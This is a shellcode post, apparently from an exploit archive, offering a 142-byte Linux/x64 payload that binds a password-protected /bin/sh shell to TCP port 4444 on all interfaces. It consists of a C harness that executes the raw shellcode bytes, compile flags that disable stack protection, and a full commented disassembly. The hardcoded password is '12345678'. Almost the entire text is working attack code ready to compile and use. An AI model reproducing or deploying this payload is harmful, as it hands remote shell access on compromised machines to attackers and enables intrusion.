142 bytes small Linux/x64 shellcode that binds a password protected shell to TCP 0.0.0.0:4444.
f8b947c4c7650a50507dafa334b79742/*
Exploit Title: Linux/x64 - Bind_tcp (0.0.0.0:4444) + Password (12345678) + Shell (/bin/sh) Shellcode (142 bytes)
Author: Guillem Alminyana
Date: 2021-01-18
Platform: GNU Linux x64
=====================================
Compile:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
*/
#include <stdio.h>
#include <string.h>
unsigned char code[]= \
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f\x05\x50\x5f\x52\x52\x66\x68"
"\x11\x5c\x66\x6a\x02\x6a\x31\x58\x54\x5e\xb2\x10\x0f\x05\x6a\x32\x58\x6a\x02\x5e"
"\x0f\x05\x6a\x2b\x58\x48\x31\xf6\x99\x0f\x05\x50\x5f\x6a\x02\x5e\x6a\x21\x58\x0f"
"\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41"
"\x51\x48\x89\xe6\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8"
"\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1c\x48\x31\xc0\x50\x48\xbb"
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x50\x54\x5a\x57\x54\x5e\x6a\x3b\x58"
"\x0f\x05";
void main()
{
printf("ShellCode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
/*
ASM
0: 6a 29 push 0x29
2: 58 pop rax
3: 6a 02 push 0x2
5: 5f pop rdi
6: 6a 01 push 0x1
8: 5e pop rsi
9: 48 31 d2 xor rdx,rdx
c: 0f 05 syscall
e: 50 push rax
f: 5f pop rdi
10: 52 push rdx
11: 52 push rdx
12: 66 68 11 5c pushw 0x5c11
16: 66 6a 02 pushw 0x2
19: 6a 31 push 0x31
1b: 58 pop rax
1c: 54 push rsp
1d: 5e pop rsi
1e: b2 10 mov dl,0x10
20: 0f 05 syscall
22: 6a 32 push 0x32
24: 58 pop rax
25: 6a 02 push 0x2
27: 5e pop rsi
28: 0f 05 syscall
2a: 6a 2b push 0x2b
2c: 58 pop rax
2d: 48 31 f6 xor rsi,rsi
30: 99 cdq
31: 0f 05 syscall
33: 50 push rax
34: 5f pop rdi
35: 6a 02 push 0x2
37: 5e pop rsi
38: 6a 21 push 0x21
3a: 58 pop rax
3b: 0f 05 syscall
3d: 48 ff ce dec rsi
40: 79 f6 jns 38 <loop_1>
42: 6a 01 push 0x1
44: 58 pop rax
45: 49 b9 50 61 73 73 77 movabs r9,0x203a647773736150
4c: 64 3a 20
4f: 41 51 push r9
51: 48 89 e6 mov rsi,rsp
54: 6a 08 push 0x8
56: 5a pop rdx
57: 0f 05 syscall
59: 48 31 c0 xor rax,rax
5c: 48 83 c6 08 add rsi,0x8
60: 0f 05 syscall
62: 48 b8 31 32 33 34 35 movabs rax,0x3837363534333231
69: 36 37 38
6c: 56 push rsi
6d: 5f pop rdi
6e: 48 af scas rax,QWORD PTR es:[rdi]
70: 75 1c jne 8e <exit_program>
72: 48 31 c0 xor rax,rax
75: 50 push rax
76: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
7d: 2f 73 68
80: 53 push rbx
81: 54 push rsp
82: 5f pop rdi
83: 50 push rax
84: 54 push rsp
85: 5a pop rdx
86: 57 push rdi
87: 54 push rsp
88: 5e pop rsi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 0f 05 syscall
*/